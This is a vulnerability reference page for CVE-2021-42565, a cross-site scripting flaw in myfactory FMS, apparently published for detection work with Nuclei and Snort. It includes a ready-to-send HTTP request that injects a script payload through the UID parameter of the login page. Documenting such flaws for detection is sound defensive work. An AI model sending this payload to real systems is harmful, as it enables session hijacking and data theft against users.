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CVE-2021-42565: myfactory FMS - Cross-Site Scripting

Titlemyfactory FMS - Cross-Site Scripting
Authormadrobot,daffainfo
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.00675
CVE IDCVE-2021-42565
CWE IDCWE-79
Tags cve2021 cve myfactory xss vuln

🔍 Vulnerability Description

myfactory.FMS before 7.1-912 allows cross-site scripting via the UID parameter.

🌐 HTTP Request

GET /ie50/system/login/SysLoginUser.aspx?Login=Denied&UID=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Mobile/15E148 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-42565.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-42565.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A